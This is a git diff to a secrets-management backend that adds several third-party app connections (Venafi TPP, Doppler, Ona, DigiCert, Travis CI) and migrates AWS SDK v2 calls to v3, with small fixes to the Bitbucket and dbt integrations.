   Venafi = "venafi",
+  VenafiTpp = "venafi-tpp",
   ExternalInfisical = "external-infisical",
+  Doppler = "doppler",
   NetScaler = "netscaler",
-  Anthropic = "anthropic"
+  Anthropic = "anthropic",
+  Ona = "ona",
+  DigiCert = "digicert",
+  TravisCI = "travis-ci"
 }
 
 export enum AWSRegion {
diff --git a/backend/src/services/app-connection/app-connection-fns.ts b/backend/src/services/app-connection/app-connection-fns.ts
index 5295ee62c45..359f8d4608a 100644
--- a/backend/src/services/app-connection/app-connection-fns.ts
+++ b/backend/src/services/app-connection/app-connection-fns.ts
@@ -108,6 +108,11 @@ import {
   validateDatabricksConnectionCredentials
 } from "./databricks/databricks-connection-fns";
 import { DbtConnectionMethod, getDbtConnectionListItem, validateDbtConnectionCredentials } from "./dbt";
+import {
+  DigiCertConnectionMethod,
+  getDigiCertConnectionListItem,
+  validateDigiCertConnectionCredentials
+} from "./digicert";
 import {
   DigitalOceanConnectionMethod,
   getDigitalOceanConnectionListItem,
@@ -118,6 +123,7 @@ import {
   getDNSMadeEasyConnectionListItem,
   validateDNSMadeEasyConnectionCredentials
 } from "./dns-made-easy/dns-made-easy-connection-fns";
+import { DopplerConnectionMethod, getDopplerConnectionListItem, validateDopplerConnectionCredentials } from "./doppler";
 import {
   ExternalInfisicalConnectionMethod,
   getExternalInfisicalConnectionListItem,
@@ -173,6 +179,7 @@ import {
   validateOctopusDeployConnectionCredentials
 } from "./octopus-deploy";
 import { getOktaConnectionListItem, OktaConnectionMethod, validateOktaConnectionCredentials } from "./okta";
+import { getOnaConnectionListItem, OnaConnectionMethod, validateOnaConnectionCredentials } from "./ona";
 import {
   getOpenRouterConnectionListItem,
   OpenRouterConnectionMethod,
@@ -200,7 +207,18 @@ import {
   TerraformCloudConnectionMethod,
   validateTerraformCloudConnectionCredentials
 } from "./terraform-cloud";
+import {
+  getTravisCIConnectionListItem,
+  TravisCIConnectionMethod,
+  validateTravisCIConnectionCredentials
+} from "./travis-ci";
 import { getVenafiConnectionListItem, validateVenafiConnectionCredentials, VenafiConnectionMethod } from "./venafi";
+import {
+  getVenafiTppConnectionListItem,
+  validateVenafiTppConnectionCredentials,
+  VenafiTppConnectionMethod
+} from "./venafi-tpp";
+import { TVenafiTppConnectionConfig } from "./venafi-tpp/venafi-tpp-connection-types";
 import { VercelConnectionMethod } from "./vercel";
 import { getVercelConnectionListItem, validateVercelConnectionCredentials } from "./vercel/vercel-connection-fns";
 import {
@@ -232,7 +250,9 @@ const PKI_APP_CONNECTIONS = [
   AppConnection.DNSMadeEasy,
   AppConnection.AzureDNS,
   AppConnection.Venafi,
-  AppConnection.NetScaler
+  AppConnection.VenafiTpp,
+  AppConnection.NetScaler,
+  AppConnection.DigiCert
 ];
 
 export const listAppConnectionOptions = (projectType?: ProjectType) => {
@@ -291,8 +311,13 @@ export const listAppConnectionOptions = (projectType?: ProjectType) => {
     getCircleCIConnectionListItem(),
     getAzureEntraIdConnectionListItem(),
     getVenafiConnectionListItem(),
+    getVenafiTppConnectionListItem(),
     getExternalInfisicalConnectionListItem(),
-    getNetScalerConnectionListItem()
+    getDopplerConnectionListItem(),
+    getNetScalerConnectionListItem(),
+    getOnaConnectionListItem(),
+    getDigiCertConnectionListItem(),
+    getTravisCIConnectionListItem()
   ]
     .filter((option) => {
       switch (projectType) {
@@ -438,12 +463,21 @@ export const validateAppConnectionCredentials = async (
     [AppConnection.CircleCI]: validateCircleCIConnectionCredentials as TAppConnectionCredentialsValidator,
     [AppConnection.AzureEntraId]: validateAzureEntraIdConnectionCredentials as TAppConnectionCredentialsValidator,
     [AppConnection.Venafi]: validateVenafiConnectionCredentials as TAppConnectionCredentialsValidator,
+    [AppConnection.VenafiTpp]: ((config: TAppConnectionConfig) =>
+      validateVenafiTppConnectionCredentials(
+        config as TVenafiTppConnectionConfig,
+        gatewayV2Service
+      )) as TAppConnectionCredentialsValidator,
     [AppConnection.NetScaler]: validateNetScalerConnectionCredentials as TAppConnectionCredentialsValidator,
+    [AppConnection.Ona]: validateOnaConnectionCredentials as TAppConnectionCredentialsValidator,
+    [AppConnection.TravisCI]: validateTravisCIConnectionCredentials as TAppConnectionCredentialsValidator,
     [AppConnection.ExternalInfisical]: ((config: TAppConnectionConfig) =>
       validateExternalInfisicalConnectionCredentials(
         config as TExternalInfisicalConnectionConfig,
         deps.identityUaDAL
-      )) as TAppConnectionCredentialsValidator
+      )) as TAppConnectionCredentialsValidator,
+    [AppConnection.Doppler]: validateDopplerConnectionCredentials as TAppConnectionCredentialsValidator,
+    [AppConnection.DigiCert]: validateDigiCertConnectionCredentials as TAppConnectionCredentialsValidator
   };
 
   return VALIDATE_APP_CONNECTION_CREDENTIALS_MAP[appConnection.app](appConnection, gatewayService, gatewayV2Service);
@@ -455,6 +489,7 @@ export const getAppConnectionMethodName = (method: TAppConnection["method"]) =>
     case GitHubRadarConnectionMethod.App:
       return "GitHub App";
     case GitHubConnectionMethod.Pat:
+    case OnaConnectionMethod.PersonalAccessToken:
       return "Personal Access Token";
     case AzureKeyVaultConnectionMethod.OAuth:
     case AzureAppConfigurationConnectionMethod.OAuth:
@@ -463,6 +498,7 @@ export const getAppConnectionMethodName = (method: TAppConnection["method"]) =>
     case AzureDevOpsConnectionMethod.OAuth:
     case HerokuConnectionMethod.OAuth:
     case GitLabConnectionMethod.OAuth:
+    case VenafiTppConnectionMethod.OAuth:
       return "OAuth";
     case HerokuConnectionMethod.AuthToken:
       return "Auth Token";
@@ -490,6 +526,7 @@ export const getAppConnectionMethodName = (method: TAppConnection["method"]) =>
     case LaravelForgeConnectionMethod.ApiToken:
     case DbtConnectionMethod.ApiToken:
     case CircleCIConnectionMethod.ApiToken:
+    case TravisCIConnectionMethod.ApiToken:
       return "API Token";
     case DNSMadeEasyConnectionMethod.APIKeySecret:
       return "API Key & Secret";
@@ -523,12 +560,12 @@ export const getAppConnectionMethodName = (method: TAppConnection["method"]) =>
     case SmbConnectionMethod.Credentials:
       return "Credentials";
     case VenafiConnectionMethod.ApiKey:
-      return "API Key";
     case RenderConnectionMethod.ApiKey:
     case ChecklyConnectionMethod.ApiKey:
     case OctopusDeployConnectionMethod.ApiKey:
     case OpenRouterConnectionMethod.ApiKey:
     case AnthropicConnectionMethod.ApiKey:
+    case DigiCertConnectionMethod.ApiKey:
       return "API Key";
     case ChefConnectionMethod.UserKey:
       return "User Key";
@@ -538,6 +575,8 @@ export const getAppConnectionMethodName = (method: TAppConnection["method"]) =>
       return "Basic Auth";
     case ExternalInfisicalConnectionMethod.MachineIdentityUniversalAuth:
       return "Machine Identity - Universal Auth";
+    case DopplerConnectionMethod.ApiToken:
+      return "API Token";
     default:
       // eslint-disable-next-line @typescript-eslint/restrict-template-expressions
       throw new Error(`Unhandled App Connection Method: ${method}`);
@@ -646,8 +685,13 @@ export const TRANSITION_CONNECTION_CREDENTIALS_TO_PLATFORM: Record<
   [AppConnection.CircleCI]: platformManagedCredentialsNotSupported,
   [AppConnection.AzureEntraId]: platformManagedCredentialsNotSupported,
   [AppConnection.Venafi]: platformManagedCredentialsNotSupported,
+  [AppConnection.VenafiTpp]: platformManagedCredentialsNotSupported,
   [AppConnection.ExternalInfisical]: platformManagedCredentialsNotSupported,
-  [AppConnection.NetScaler]: platformManagedCredentialsNotSupported
+  [AppConnection.NetScaler]: platformManagedCredentialsNotSupported,
+  [AppConnection.Doppler]: platformManagedCredentialsNotSupported,
+  [AppConnection.Ona]: platformManagedCredentialsNotSupported,
+  [AppConnection.DigiCert]: platformManagedCredentialsNotSupported,
+  [AppConnection.TravisCI]: platformManagedCredentialsNotSupported
 };
 
 export const enterpriseAppCheck = async (
diff --git a/backend/src/services/app-connection/app-connection-maps.ts b/backend/src/services/app-connection/app-connection-maps.ts
index b3de1153d2b..645ad41cb1e 100644
--- a/backend/src/services/app-connection/app-connection-maps.ts
+++ b/backend/src/services/app-connection/app-connection-maps.ts
@@ -54,9 +54,14 @@ export const APP_CONNECTION_NAME_MAP: Record<AppConnection, string> = {
   [AppConnection.CircleCI]: "CircleCI",
   [AppConnection.AzureEntraId]: "Azure Entra ID",
   [AppConnection.Venafi]: "Venafi TLS Protect Cloud",
+  [AppConnection.VenafiTpp]: "Venafi TPP",
   [AppConnection.ExternalInfisical]: "Infisical",
+  [AppConnection.Doppler]: "Doppler",
   [AppConnection.NetScaler]: "NetScaler",
-  [AppConnection.Anthropic]: "Anthropic"
+  [AppConnection.Anthropic]: "Anthropic",
+  [AppConnection.Ona]: "Ona",
+  [AppConnection.DigiCert]: "DigiCert",
+  [AppConnection.TravisCI]: "Travis CI"
 };
 
 export const APP_CONNECTION_PLAN_MAP: Record<AppConnection, AppConnectionPlanType> = {
@@ -113,7 +118,12 @@ export const APP_CONNECTION_PLAN_MAP: Record<AppConnection, AppConnectionPlanTyp
   [AppConnection.CircleCI]: AppConnectionPlanType.Regular,
   [AppConnection.AzureEntraId]: AppConnectionPlanType.Regular,
   [AppConnection.Venafi]: AppConnectionPlanType.Regular,
+  [AppConnection.VenafiTpp]: AppConnectionPlanType.Regular,
   [AppConnection.ExternalInfisical]: AppConnectionPlanType.Regular,
+  [AppConnection.Doppler]: AppConnectionPlanType.Regular,
   [AppConnection.NetScaler]: AppConnectionPlanType.Regular,
-  [AppConnection.Anthropic]: AppConnectionPlanType.Regular
+  [AppConnection.Anthropic]: AppConnectionPlanType.Regular,
+  [AppConnection.Ona]: AppConnectionPlanType.Regular,
+  [AppConnection.DigiCert]: AppConnectionPlanType.Regular,
+  [AppConnection.TravisCI]: AppConnectionPlanType.Regular
 };
diff --git a/backend/src/services/app-connection/app-connection-service.ts b/backend/src/services/app-connection/app-connection-service.ts
index 6aeb3a24b9a..f0a3268c276 100644
--- a/backend/src/services/app-connection/app-connection-service.ts
+++ b/backend/src/services/app-connection/app-connection-service.ts
@@ -86,10 +86,14 @@ import { ValidateDatabricksConnectionCredentialsSchema } from "./databricks";
 import { databricksConnectionService } from "./databricks/databricks-connection-service";
 import { ValidateDbtConnectionCredentialsSchema } from "./dbt";
 import { dbtConnectionService } from "./dbt/dbt-connection-service";
+import { ValidateDigiCertConnectionCredentialsSchema } from "./digicert/digicert-connection-schemas";
+import { digicertConnectionService } from "./digicert/digicert-connection-service";
 import { ValidateDigitalOceanConnectionCredentialsSchema } from "./digital-ocean";
 import { digitalOceanAppPlatformConnectionService } from "./digital-ocean/digital-ocean-connection-service";
 import { ValidateDNSMadeEasyConnectionCredentialsSchema } from "./dns-made-easy/dns-made-easy-connection-schema";
 import { dnsMadeEasyConnectionService } from "./dns-made-easy/dns-made-easy-connection-service";
+import { ValidateDopplerConnectionCredentialsSchema } from "./doppler/doppler-connection-schema";
+import { dopplerConnectionService } from "./doppler/doppler-connection-service";
 import { ValidateExternalInfisicalConnectionCredentialsSchema } from "./external-infisical";
 import { externalInfisicalConnectionService } from "./external-infisical/external-infisical-connection-service";
 import { ValidateFlyioConnectionCredentialsSchema } from "./flyio";
@@ -123,6 +127,8 @@ import { ValidateOctopusDeployConnectionCredentialsSchema } from "./octopus-depl
 import { octopusDeployConnectionService } from "./octopus-deploy/octopus-deploy-connection-service";
 import { ValidateOktaConnectionCredentialsSchema } from "./okta";
 import { oktaConnectionService } from "./okta/okta-connection-service";
+import { ValidateOnaConnectionCredentialsSchema } from "./ona";
+import { onaConnectionService } from "./ona/ona-connection-service";
 import { ValidateOpenRouterConnectionCredentialsSchema } from "./open-router";
 import { ValidatePostgresConnectionCredentialsSchema } from "./postgres";
 import { ValidateRailwayConnectionCredentialsSchema } from "./railway";
@@ -138,8 +144,11 @@ import { ValidateTeamCityConnectionCredentialsSchema } from "./teamcity";
 import { teamcityConnectionService } from "./teamcity/teamcity-connection-service";
 import { ValidateTerraformCloudConnectionCredentialsSchema } from "./terraform-cloud";
 import { terraformCloudConnectionService } from "./terraform-cloud/terraform-cloud-connection-service";
+import { ValidateTravisCIConnectionCredentialsSchema } from "./travis-ci";
+import { travisCIConnectionService } from "./travis-ci/travis-ci-connection-service";
 import { ValidateVenafiConnectionCredentialsSchema } from "./venafi/venafi-connection-schema";
 import { venafiConnectionService } from "./venafi/venafi-connection-service";
+import { ValidateVenafiTppConnectionCredentialsSchema } from "./venafi-tpp/venafi-tpp-connection-schemas";
 import { ValidateVercelConnectionCredentialsSchema } from "./vercel";
 import { vercelConnectionService } from "./vercel/vercel-connection-service";
 import { ValidateWindmillConnectionCredentialsSchema } from "./windmill";
@@ -217,9 +226,14 @@ const VALIDATE_APP_CONNECTION_CREDENTIALS_MAP: Record<AppConnection, TValidateAp
   [AppConnection.CircleCI]: ValidateCircleCIConnectionCredentialsSchema,
   [AppConnection.AzureEntraId]: ValidateAzureEntraIdConnectionCredentialsSchema,
   [AppConnection.Venafi]: ValidateVenafiConnectionCredentialsSchema,
+  [AppConnection.VenafiTpp]: ValidateVenafiTppConnectionCredentialsSchema,
   [AppConnection.ExternalInfisical]: ValidateExternalInfisicalConnectionCredentialsSchema,
+  [AppConnection.Doppler]: ValidateDopplerConnectionCredentialsSchema,
   [AppConnection.NetScaler]: ValidateNetScalerConnectionCredentialsSchema,
-  [AppConnection.Anthropic]: ValidateAnthropicConnectionCredentialsSchema
+  [AppConnection.Anthropic]: ValidateAnthropicConnectionCredentialsSchema,
+  [AppConnection.Ona]: ValidateOnaConnectionCredentialsSchema,
+  [AppConnection.DigiCert]: ValidateDigiCertConnectionCredentialsSchema,
+  [AppConnection.TravisCI]: ValidateTravisCIConnectionCredentialsSchema
 };
 
 export const appConnectionServiceFactory = ({
@@ -1065,6 +1079,7 @@ export const appConnectionServiceFactory = ({
     terraformCloud: terraformCloudConnectionService(connectAppConnectionById),
     camunda: camundaConnectionService(connectAppConnectionById, appConnectionDAL, kmsService),
     vercel: vercelConnectionService(connectAppConnectionById),
+    ona: onaConnectionService(connectAppConnectionById),
     azureClientSecrets: azureClientSecretsConnectionService(connectAppConnectionById, appConnectionDAL, kmsService),
     azureDevOps: azureDevOpsConnectionService(connectAppConnectionById, appConnectionDAL, kmsService),
     auth0: auth0ConnectionService(connectAppConnectionById, appConnectionDAL, kmsService),
@@ -1097,6 +1112,9 @@ export const appConnectionServiceFactory = ({
     octopusDeploy: octopusDeployConnectionService(connectAppConnectionById),
     dbt: dbtConnectionService(connectAppConnectionById),
     circleci: circleciConnectionService(connectAppConnectionById),
-    azureEntraId: azureEntraIdConnectionService(connectAppConnectionById, appConnectionDAL, kmsService)
+    azureEntraId: azureEntraIdConnectionService(connectAppConnectionById, appConnectionDAL, kmsService),
+    doppler: dopplerConnectionService(connectAppConnectionById),
+    digicert: digicertConnectionService(connectAppConnectionById),
+    travisCI: travisCIConnectionService(connectAppConnectionById)
   };
 };
diff --git a/backend/src/services/app-connection/app-connection-types.ts b/backend/src/services/app-connection/app-connection-types.ts
index 04a20995736..82eb81c8347 100644
--- a/backend/src/services/app-connection/app-connection-types.ts
+++ b/backend/src/services/app-connection/app-connection-types.ts
@@ -130,6 +130,12 @@ import {
   TDbtConnectionInput,
   TValidateDbtConnectionCredentialsSchema
 } from "./dbt";
+import {
+  TDigiCertConnection,
+  TDigiCertConnectionConfig,
+  TDigiCertConnectionInput,
+  TValidateDigiCertConnectionCredentialsSchema
+} from "./digicert";
 import {
   TDigitalOceanConnection,
   TDigitalOceanConnectionConfig,
@@ -142,6 +148,12 @@ import {
   TDNSMadeEasyConnectionInput,
   TValidateDNSMadeEasyConnectionCredentialsSchema
 } from "./dns-made-easy/dns-made-easy-connection-types";
+import {
+  TDopplerConnection,
+  TDopplerConnectionConfig,
+  TDopplerConnectionInput,
+  TValidateDopplerConnectionCredentialsSchema
+} from "./doppler/doppler-connection-types";
 import {
   TExternalInfisicalConnection,
   TExternalInfisicalConnectionConfig,
@@ -246,6 +258,12 @@ import {
   TOktaConnectionInput,
   TValidateOktaConnectionCredentialsSchema
 } from "./okta";
+import {
+  TOnaConnection,
+  TOnaConnectionConfig,
+  TOnaConnectionInput,
+  TValidateOnaConnectionCredentialsSchema
+} from "./ona";
 import {
   TOpenRouterConnection,
   TOpenRouterConnectionConfig,
@@ -305,12 +323,24 @@ import {
   TTerraformCloudConnectionInput,
   TValidateTerraformCloudConnectionCredentialsSchema
 } from "./terraform-cloud";
+import {
+  TTravisCIConnection,
+  TTravisCIConnectionConfig,
+  TTravisCIConnectionInput,
+  TValidateTravisCIConnectionCredentialsSchema
+} from "./travis-ci";
 import {
   TValidateVenafiConnectionCredentialsSchema,
   TVenafiConnection,
   TVenafiConnectionConfig,
   TVenafiConnectionInput
 } from "./venafi";
+import {
+  TValidateVenafiTppConnectionCredentialsSchema,
+  TVenafiTppConnection,
+  TVenafiTppConnectionConfig,
+  TVenafiTppConnectionInput
+} from "./venafi-tpp";
 import {
   TValidateVercelConnectionCredentialsSchema,
   TVercelConnection,
@@ -384,9 +414,14 @@ export type TAppConnection = { id: string } & (
   | TCircleCIConnection
   | TAzureEntraIdConnection
   | TVenafiConnection
+  | TVenafiTppConnection
   | TExternalInfisicalConnection
+  | TDopplerConnection
   | TNetScalerConnection
   | TAnthropicConnection
+  | TOnaConnection
+  | TDigiCertConnection
+  | TTravisCIConnection
 );
 
 export type TAppConnectionRaw = NonNullable<Awaited<ReturnType<TAppConnectionDALFactory["findById"]>>>;
@@ -451,9 +486,14 @@ export type TAppConnectionInput = { id: string } & (
   | TCircleCIConnectionInput
   | TAzureEntraIdConnectionInput
   | TVenafiConnectionInput
+  | TVenafiTppConnectionInput
   | TExternalInfisicalConnectionInput
+  | TDopplerConnectionInput
   | TNetScalerConnectionInput
   | TAnthropicConnectionInput
+  | TOnaConnectionInput
+  | TDigiCertConnectionInput
+  | TTravisCIConnectionInput
 );
 
 export type TSqlConnectionInput =
@@ -547,9 +587,14 @@ export type TAppConnectionConfig =
   | TCircleCIConnectionConfig
   | TAzureEntraIdConnectionConfig
   | TVenafiConnectionConfig
+  | TVenafiTppConnectionConfig
   | TExternalInfisicalConnectionConfig
+  | TDopplerConnectionConfig
   | TNetScalerConnectionConfig
-  | TAnthropicConnectionConfig;
+  | TAnthropicConnectionConfig
+  | TOnaConnectionConfig
+  | TDigiCertConnectionConfig
+  | TTravisCIConnectionConfig;
 
 export type TValidateAppConnectionCredentialsSchema =
   | TValidateAwsConnectionCredentialsSchema
@@ -605,9 +650,14 @@ export type TValidateAppConnectionCredentialsSchema =
   | TValidateCircleCIConnectionCredentialsSchema
   | TValidateAzureEntraIdConnectionCredentialsSchema
   | TValidateVenafiConnectionCredentialsSchema
+  | TValidateVenafiTppConnectionCredentialsSchema
   | TValidateExternalInfisicalConnectionCredentialsSchema
+  | TValidateDopplerConnectionCredentialsSchema
   | TValidateNetScalerConnectionCredentialsSchema
-  | TValidateAnthropicConnectionCredentialsSchema;
+  | TValidateAnthropicConnectionCredentialsSchema
+  | TValidateOnaConnectionCredentialsSchema
+  | TValidateDigiCertConnectionCredentialsSchema
+  | TValidateTravisCIConnectionCredentialsSchema;
 
 export type TListAwsConnectionKmsKeys = {
   connectionId: string;
diff --git a/backend/src/services/app-connection/aws/aws-connection-fns.ts b/backend/src/services/app-connection/aws/aws-connection-fns.ts
index bc22b60a702..50654bc78ae 100644
--- a/backend/src/services/app-connection/aws/aws-connection-fns.ts
+++ b/backend/src/services/app-connection/aws/aws-connection-fns.ts
@@ -1,6 +1,4 @@
-import { AssumeRoleCommand, STSClient } from "@aws-sdk/client-sts";
-import type { AWSError, Response } from "aws-sdk";
-import STS from "aws-sdk/clients/sts.js";
+import { AssumeRoleCommand, GetCallerIdentityCommand, STSClient, STSServiceException } from "@aws-sdk/client-sts";
 import { AxiosError } from "axios";
 
 import { CustomAWSHasher } from "@app/lib/aws/hashing";
@@ -87,18 +85,28 @@ export const getAwsConnectionConfig = async (appConnection: TAwsConnectionConfig
 };
 
 export const validateAwsConnectionCredentials = async (appConnection: TAwsConnectionConfig) => {
-  let resp: STS.GetCallerIdentityResponse & {
-    $response: Response<STS.GetCallerIdentityResponse, AWSError>;
-  };
-
   try {
     const awsConfig = await getAwsConnectionConfig(appConnection);
-    const sts = new STS(awsConfig);
+    const sts = new STSClient({
+      region: awsConfig.region,
+      credentials: awsConfig.credentials
+    });
 
-    resp = await sts.getCallerIdentity().promise();
+    await sts.send(new GetCallerIdentityCommand({}));
   } catch (error: unknown) {
     logger.error(error, "Error validating AWS connection credentials");
 
+    // v3 SDK throws on non-2xx responses (v2 resolved and required manual status check).
+    // Preserve the original InternalServerError for AWS-level failures.
+    if (error instanceof STSServiceException) {
+      throw new InternalServerError({
+        message: `Unable to validate credentials: ${
+          error.message ??
+          `AWS responded with a status code of ${error.$metadata.httpStatusCode}. Verify credentials and try again.`
+        }`
+      });
+    }
+
     let message: string;
 
     if (error instanceof AxiosError) {
@@ -113,13 +121,5 @@ export const validateAwsConnectionCredentials = async (appConnection: TAwsConnec
     });
   }
 
-  if (resp?.$response.httpResponse.statusCode !== 200)
-    throw new InternalServerError({
-      message: `Unable to validate credentials: ${
-        resp.$response.error?.message ??
-        `AWS responded with a status code of ${resp.$response.httpResponse.statusCode}. Verify credentials and try again.`
-      }`
-    });
-
   return appConnection.credentials;
 };
diff --git a/backend/src/services/app-connection/aws/aws-connection-service.ts b/backend/src/services/app-connection/aws/aws-connection-service.ts
index 0046b18c7eb..4d4ef10ff51 100644
--- a/backend/src/services/app-connection/aws/aws-connection-service.ts
+++ b/backend/src/services/app-connection/aws/aws-connection-service.ts
@@ -1,6 +1,16 @@
-import ELBv2 from "aws-sdk/clients/elbv2.js";
-import IAM from "aws-sdk/clients/iam.js";
-import KMS from "aws-sdk/clients/kms.js";
+import {
+  DescribeListenersCommand,
+  DescribeLoadBalancersCommand,
+  ElasticLoadBalancingV2Client
+} from "@aws-sdk/client-elastic-load-balancing-v2";
+import { IAMClient, ListUsersCommand, type User } from "@aws-sdk/client-iam";
+import {
+  type AliasListEntry,
+  DescribeKeyCommand,
+  type KeyMetadata,
+  KMSClient,
+  ListAliasesCommand
+} from "@aws-sdk/client-kms";
 
 import { OrgServiceActor } from "@app/lib/types";
 import { AppConnection, AWSRegion } from "@app/services/app-connection/app-connection-enums";
@@ -27,24 +37,24 @@ const listAwsKmsKeys = async (
 ) => {
   const { credentials } = await getAwsConnectionConfig(appConnection, region);
 
-  const awsKms = new KMS({
+  const awsKms = new KMSClient({
     credentials,
     region
   });
 
-  const aliasEntries: KMS.AliasList = [];
+  const aliasEntries: AliasListEntry[] = [];
   let aliasMarker: string | undefined;
   do {
     // eslint-disable-next-line no-await-in-loop
-    const response = await awsKms.listAliases({ Limit: 100, Marker: aliasMarker }).promise();
+    const response = await awsKms.send(new ListAliasesCommand({ Limit: 100, Marker: aliasMarker }));
     aliasEntries.push(...(response.Aliases || []));
     aliasMarker = response.NextMarker;
   } while (aliasMarker);
 
-  const keyMetadataRecord: Record<string, KMS.KeyMetadata | undefined> = {};
+  const keyMetadataRecord: Record<string, KeyMetadata | undefined> = {};
   for await (const aliasEntry of aliasEntries) {
     if (aliasEntry.TargetKeyId) {
-      const keyDescription = await awsKms.describeKey({ KeyId: aliasEntry.TargetKeyId }).promise();
+      const keyDescription = await awsKms.send(new DescribeKeyCommand({ KeyId: aliasEntry.TargetKeyId }));
 
       keyMetadataRecord[aliasEntry.TargetKeyId] = keyDescription.KeyMetadata;
     }
@@ -79,15 +89,15 @@ const listAwsKmsKeys = async (
 };
 
 const listAwsIamUsers = async (appConnection: TAwsConnection) => {
-  const { credentials } = await getAwsConnectionConfig(appConnection);
+  const { region, credentials } = await getAwsConnectionConfig(appConnection);
 
-  const iam = new IAM({ credentials });
+  const iam = new IAMClient({ credentials, region });
 
-  const userEntries: IAM.User[] = [];
+  const userEntries: User[] = [];
   let userMarker: string | undefined;
   do {
     // eslint-disable-next-line no-await-in-loop
-    const response = await iam.listUsers({ MaxItems: 100, Marker: userMarker }).promise();
+    const response = await iam.send(new ListUsersCommand({ MaxItems: 100, Marker: userMarker }));
     userEntries.push(...(response.Users || []));
     userMarker = response.Marker;
   } while (userMarker);
@@ -123,7 +133,7 @@ const listAwsLoadBalancers = async (
 ): Promise<TAwsLoadBalancerInfo[]> => {
   const { credentials } = await getAwsConnectionConfig(appConnection, region);
 
-  const elbClient = new ELBv2({
+  const elbClient = new ElasticLoadBalancingV2Client({
     credentials,
     region
   });
@@ -133,11 +143,11 @@ const listAwsLoadBalancers = async (
 
   do {
     // eslint-disable-next-line no-await-in-loop
-    const response = await elbClient
-      .describeLoadBalancers({
+    const response = await elbClient.send(
+      new DescribeLoadBalancersCommand({
         Marker: marker
       })
-      .promise();
+    );
 
     if (response.LoadBalancers) {
       for (const lb of response.LoadBalancers) {
@@ -169,7 +179,7 @@ const listAwsListeners = async (
 ): Promise<TAwsListenerInfo[]> => {
   const { credentials } = await getAwsConnectionConfig(appConnection, region);
 
-  const elbClient = new ELBv2({
+  const elbClient = new ElasticLoadBalancingV2Client({
     credentials,
     region
   });
@@ -179,12 +189,12 @@ const listAwsListeners = async (
 
   do {
     // eslint-disable-next-line no-await-in-loop
-    const response = await elbClient
-      .describeListeners({
+    const response = await elbClient.send(
+      new DescribeListenersCommand({
         LoadBalancerArn: loadBalancerArn,
         Marker: marker
       })
-      .promise();
+    );
 
     if (response.Listeners) {
       for (const listener of response.Listeners) {
diff --git a/backend/src/services/app-connection/bitbucket/bitbucket-connection-fns.ts b/backend/src/services/app-connection/bitbucket/bitbucket-connection-fns.ts
index 646dc595a87..a3169a0b3f0 100644
--- a/backend/src/services/app-connection/bitbucket/bitbucket-connection-fns.ts
+++ b/backend/src/services/app-connection/bitbucket/bitbucket-connection-fns.ts
@@ -53,8 +53,12 @@ export const validateBitbucketConnectionCredentials = async (config: TBitbucketC
   return config.credentials;
 };
 
+interface BitbucketWorkspaceMembership {
+  workspace: { slug: string };
+}
+
 interface BitbucketWorkspacesResponse {
-  values: TBitbucketWorkspace[];
+  values: BitbucketWorkspaceMembership[];
   next?: string;
 }
 
@@ -67,7 +71,7 @@ export const listBitbucketWorkspaces = async (appConnection: TBitbucketConnectio
   };
 
   let allWorkspaces: TBitbucketWorkspace[] = [];
-  let nextUrl: string | undefined = `${IntegrationUrls.BITBUCKET_API_URL}/2.0/workspaces?pagelen=100`;
+  let nextUrl: string | undefined = `${IntegrationUrls.BITBUCKET_API_URL}/2.0/user/workspaces?pagelen=100`;
   let iterationCount = 0;
 
   // Limit to 10 iterations, fetching at most 10 * 100 = 1000 workspaces
@@ -77,7 +81,7 @@ export const listBitbucketWorkspaces = async (appConnection: TBitbucketConnectio
       headers
     });
 
-    allWorkspaces = allWorkspaces.concat(data.values.map((workspace) => ({ slug: workspace.slug })));
+    allWorkspaces = allWorkspaces.concat(data.values.map((membership) => ({ slug: membership.workspace.slug })));
     nextUrl = data.next;
     iterationCount += 1;
   }
diff --git a/backend/src/services/app-connection/dbt/dbt-connection-fns.ts b/backend/src/services/app-connection/dbt/dbt-connection-fns.ts
index 4ce9d3cbb04..d059ece14e6 100644
--- a/backend/src/services/app-connection/dbt/dbt-connection-fns.ts
+++ b/backend/src/services/app-connection/dbt/dbt-connection-fns.ts
@@ -1,6 +1,7 @@
 /* eslint-disable no-await-in-loop */
-import axios, { AxiosError } from "axios";
+import { AxiosError } from "axios";
 
+import { request } from "@app/lib/config/request";
 import { BadRequestError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
@@ -53,7 +54,7 @@ export const retrieveDbtAccount = async (config: TDbtConnectionConfig) => {
 
   const dbtUrl = await getDbtUrl(config);
 
-  await axios.get(`${dbtUrl}/api/v2/accounts/${credentials.accountId}/`, {
+  await request.get(`${dbtUrl}/api/v2/accounts/${credentials.accountId}/`, {
     headers: {
       Authorization: `Bearer ${credentials.apiToken}`
     }
@@ -90,7 +91,7 @@ export const listDbtProjects = async (config: TDbtConnectionConfig) => {
 
     const dbtUrl = await getDbtUrl(config);
 
-    const res = await axios.get<TDbtListProjectsResponse>(
+    const res = await request.get<TDbtListProjectsResponse>(
       `${dbtUrl}/api/v3/accounts/${credentials.accountId}/projects`,
       {
         headers: {
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-constants.ts b/backend/src/services/app-connection/digicert/digicert-connection-constants.ts
new file mode 100644
index 00000000000..fec1fec4af0
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-constants.ts
@@ -0,0 +1 @@
+export const DIGICERT_AUTH_HEADER = "X-DC-DEVKEY";
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-enums.ts b/backend/src/services/app-connection/digicert/digicert-connection-enums.ts
new file mode 100644
index 00000000000..0e4f0a46a16
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-enums.ts
@@ -0,0 +1,8 @@
+export enum DigiCertConnectionMethod {
+  ApiKey = "api-key"
+}
+
+export enum DigiCertRegion {
+  US = "us",
+  EU = "eu"
+}
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-errors.ts b/backend/src/services/app-connection/digicert/digicert-connection-errors.ts
new file mode 100644
index 00000000000..636324ec2cd
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-errors.ts
@@ -0,0 +1,15 @@
+import { AxiosError } from "axios";
+
+type TDigiCertErrorResponse = { errors?: { code?: string; message?: string }[] };
+
+export const extractDigiCertErrorMessage = (error: unknown) => {
+  if (error instanceof AxiosError) {
+    const data = error.response?.data as TDigiCertErrorResponse | undefined;
+    const firstError = data?.errors?.[0];
+    if (firstError?.message) {
+      return firstError.code ? `${firstError.message} (${firstError.code})` : firstError.message;
+    }
+    return error.message || "Unknown error";
+  }
+  return (error as Error).message || "Unknown error";
+};
